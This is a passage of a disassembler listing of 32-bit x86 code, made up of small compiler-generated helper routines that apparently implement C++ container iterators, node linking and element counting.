loc_41593A:				; CODE XREF: sub_4158C0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_4158FF
		pop	edi


loc_41594D:				; CODE XREF: sub_4158C0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4158C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415990	proc near		; CODE XREF: sub_402252j
		push	esi
		mov	esi, ecx
		call	sub_401E29
		mov	eax, esi
		pop	esi
		retn
sub_415990	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159B0	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017DA
		add	esp, 4
		retn
sub_4159B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159D0	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4159D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A00	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40144C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415A00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401753
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A70	proc near		; CODE XREF: sub_4016CCj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401753
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415AA0	proc near		; CODE XREF: sub_40215Dj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C4E
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401EBA
sub_415AA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401EFB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402194
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DA7
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415B40	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CA8
		test	al, al
		jz	short loc_415B8D
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415B5A:				; CODE XREF: sub_415B40+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A4B
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40215D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_4020EF
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CA8
		test	al, al
		jnz	short loc_415B5A
		pop	edi


loc_415B8D:				; CODE XREF: sub_415B40+13j
		pop	esi
		retn	0Ch
sub_415B40	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415BC0	proc near		; CODE XREF: sub_401FAFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40156E
		mov	ecx, eax
		call	sub_401C4E
		mov	esi, eax
		push	esi
		call	sub_40208B
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_40208B
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401EFB
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4014F6
		push	esi
		mov	ecx, edi
		call	sub_401CD5
sub_415BC0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415C80	proc near		; CODE XREF: sub_401465j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jz	short loc_415CDA


loc_415C98:				; CODE XREF: sub_415C80+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415C98
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415CDA:				; CODE XREF: sub_415C80+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415C80	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D10	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020D6
sub_415D10	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D25
		mov	edi, esi


loc_415D25:				; CODE XREF: ___:00415D21j
		push	esi
		call	sub_40208B
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D3A
		mov	edi, esi


loc_415D3A:				; CODE XREF: ___:00415D36j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D60	proc near		; CODE XREF: sub_401CD5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E01
sub_415D60	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D80	proc near		; CODE XREF: sub_40208Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415D80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DA0	proc near		; CODE XREF: sub_401EFBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415DA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DC0	proc near		; CODE XREF: sub_401EB5j
		mov	eax, ecx
		retn
sub_415DC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DE0	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415DE0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E10	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020A4
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E10	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E40	proc near		; CODE XREF: sub_4015CDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415E40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415E70	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F6E
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C7B
sub_415E70	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402126
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CC6
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F10	proc near		; CODE XREF: sub_4017DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F6E
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402126
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D4D
		push	esi
		mov	ecx, edi
		call	sub_401E1A
sub_415F10	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415FD0	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jz	short loc_41602A


loc_415FE8:				; CODE XREF: sub_415FD0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415FE8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41602A:				; CODE XREF: sub_415FD0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415FD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416060	proc near		; CODE XREF: sub_401C7Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015A5
sub_416060	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416075
		mov	edi, esi


loc_416075:				; CODE XREF: ___:00416071j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41608A
		mov	edi, esi


loc_41608A:				; CODE XREF: ___:00416086j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160B0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_4160B0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160D0	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4160D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160F0	proc near		; CODE XREF: sub_402126j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4160F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416110	proc near		; CODE XREF: sub_401E79j
		mov	eax, ecx
		retn
sub_416110	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416130	proc near		; CODE XREF: sub_401CC6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416130	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416160	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018B6
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416160	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416190	proc near		; CODE XREF: sub_401EA6j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416190	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4161C0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017D5
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DA2
sub_4161C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017D5
		push	edi
		mov	[eax], ebx
		call	sub_4017D5
		mov	edi, [eax]
		push	edi
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017DA
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401DFC
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D66
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416260	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EA1
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BB8
		push	esi
		mov	ebx, eax
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017D5
		push	esi
		mov	ebx, eax
		call	sub_401BB8
		mov	eax, [eax]
		push	eax
		call	sub_4017D5
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017DA
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4013F7
		push	esi
		mov	ecx, edi
		call	sub_401EF6
sub_416260	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416320	proc near		; CODE XREF: sub_401401j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_41637A


loc_416338:				; CODE XREF: sub_416320+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416338
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41637A:				; CODE XREF: sub_416320+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416320	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4163B0	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401E9C
sub_4163B0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4163C5
		mov	edi, esi


loc_4163C5:				; CODE XREF: ___:004163C1j
		push	esi
		call	sub_401BB8
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4163DA
		mov	edi, esi


loc_4163DA:				; CODE XREF: ___:004163D6j
		push	esi
		call	sub_4017D5
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416400	proc near		; CODE XREF: sub_401EF6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401857
sub_416400	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416420	proc near		; CODE XREF: sub_401BB8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416440	proc near		; CODE XREF: sub_4017DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416440	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416460	proc near		; CODE XREF: sub_401E29j
		mov	eax, ecx
		retn
sub_416460	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416480	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40160E
		mov	eax, esi
		pop	esi
		retn	4
sub_416480	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164B0	proc near		; CODE XREF: sub_401EA1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4164B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416510	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416530	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416530	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416560	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_416560	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416580	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_416580	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165B0	proc near		; CODE XREF: sub_4014F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_4165B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165D0	proc near		; CODE XREF: sub_401753j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4165D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165F0	proc near		; CODE XREF: sub_401A4Bj
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_4165F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416610	proc near		; CODE XREF: sub_4020EFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416610	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416640	proc near		; CODE XREF: sub_401CA8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E56
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_416640	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416670	proc near		; CODE XREF: sub_401C4Ej
		mov	eax, [ecx]
		retn
sub_416670	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416690	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416690	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


